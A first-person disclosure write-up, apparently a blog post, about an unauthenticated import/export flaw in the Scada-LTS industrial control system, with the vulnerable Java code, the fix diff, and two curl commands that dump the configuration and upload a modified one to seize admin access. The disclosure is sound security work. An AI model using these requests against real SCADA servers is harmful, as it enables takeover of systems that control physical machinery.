I found this 0-day while competing in CPTC (Collegiate Penetration Testing Competition). While the competition rewards report writing and verbal presentation (70% of your score), I found myself actually hacking the target network (the remaining 30%).

While scanning the competition network, I noticed a remote SCADA server.

For those unfamiliar, SCADA (Supervisory Control and Data Acquisition) is the backbone of heavy industry. It controls everything from mixing processes in chemical plants to heavy machinery in factories. SCADA systems convert high-level intentions—like “heat the furnace to 1200°C”—into real-world physical actions, such as opening a gas valve by exactly 35%.

Scada-LTS was the specific implementation of SCADA running in this competition environment. It’s an open-source, web-based system that acts as the “brain” for the physical operations. In the real world, it speaks to hardware (PLCs, sensors); in the competition, it was the critical link I wanted to hack.

An attacker controlling such a system in real life would be able cause severe physical damage. And as I soon found out, controlling it was going to be easy.

The Vulnerability: The Backdoor with a Welcome Mat

Every single SCADA-LTS endpoint had proper authentication, except for the recently added import/export endpoints that left the door wide open.

TL;DR: If you could reach the server, you could dump the entire database (passwords, settings, everything) or upload a malicious config to take over the system.

The issue was in ProjectExporterController and ProjectImporterController.

The UI hides these buttons if you aren’t an admin. But the backend code just processed the request without checking… anything.

Vulnerable Code

ProjectExporterController.java before the fix. Note the complete lack of a permission check:

// src/br/org/scadabr/web/mvc/controller/ProjectExporterController.java

public class ProjectExporterController extends AbstractController {
    
    @Override
    protected ModelAndView handleRequestInternal(HttpServletRequest request,
            HttpServletResponse response) throws Exception {
        
        // <--- MISSING: `Permissions.ensureAdmin(request)` here
        // It just goes straight to exporting the project
        
        ZIPProjectManager exporter = new ZIPProjectManager();
        exporter.exportProject(request, response);
        
        return null;
    }
}

Exploitation: Change The Lock To Own The House

To exploit this, you simply download the config, and then reupload it with an arbitrary password.

Phase 1: Stealing the Blueprint

First, we grab the current system configuration. The export endpoint was completely unprotected, so a simple curl request dumps the entire project state into a ZIP file.

$ curl -v http://localhost:8080/Scada-LTS/export_project.htm --output project.zip

> GET /Scada-LTS/export_project.htm HTTP/1.1
...
< HTTP/1.1 200 
...

Download complete. 0 credentials used.

Inside that ZIP file is a json_project.txt. Opening it reveals everything, including the administrator’s password hash:

"username":"admin",
"password":"0DPiKuNIrrVmD8IUCuw1hQxNqZc=", // SHA-1 of "admin"
"admin":true

Phase 2: The Total Takeover

At this point, we could try to crack the SHA-1 hash. But why bother? The import endpoint (/Scada-LTS/import_project.htm) is also unauthenticated.

This allows for a “Round Trip” attack:

  1. Modify the downloaded json_project.txt. We can change the admin password to something we know, or add a brand new admin user.
  2. Repack the ZIP file.
  3. Upload it back to the server.

The server blindly accepts our malicious update, overwrites the existing configuration, and grants us immediate, full administrative access.

# Uploading the modified config to seize control
$ curl -F "importFile=@pwned_project.zip" http://target/Scada-LTS/import_project.htm

Game over.

I reported this vulnerability to the Scada-LTS maintainers and it was promptly fixed.

The Fix

The fix (commit c5fe174) was to actually check if the user is an admin before exporting or importing the config.

diff --git a/src/br/org/scadabr/web/mvc/controller/ProjectExporterController.java b/src/br/org/scadabr/web/mvc/controller/ProjectExporterController.java
index 589ec1ff2..0dc5f90bd 100644
--- a/src/br/org/scadabr/web/mvc/controller/ProjectExporterController.java
+++ b/src/br/org/scadabr/web/mvc/controller/ProjectExporterController.java
@@ -3,6 +3,7 @@ package br.org.scadabr.web.mvc.controller;
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
 
+import com.serotonin.mango.vo.permission.Permissions;
 import org.springframework.web.servlet.ModelAndView;
 import org.springframework.web.servlet.mvc.AbstractController;
 
@@ -17,6 +18,8 @@ public class ProjectExporterController extends AbstractController {
 	protected ModelAndView handleRequestInternal(HttpServletRequest request,
 			HttpServletResponse response) throws Exception {
 
+		Permissions.ensureAdmin(request);
+
 		ZIPProjectManager exporter = new ZIPProjectManager();
 
 		exporter.exportProject(request, response);

Closing thoughts

I sat on the details of this vulnerability for three years after a patch was available. The vulnerability was trivial to weaponize and the impact could cause real-world physical harm.

But if you’re still running a 2021 version of Scada-LTS… well, good luck.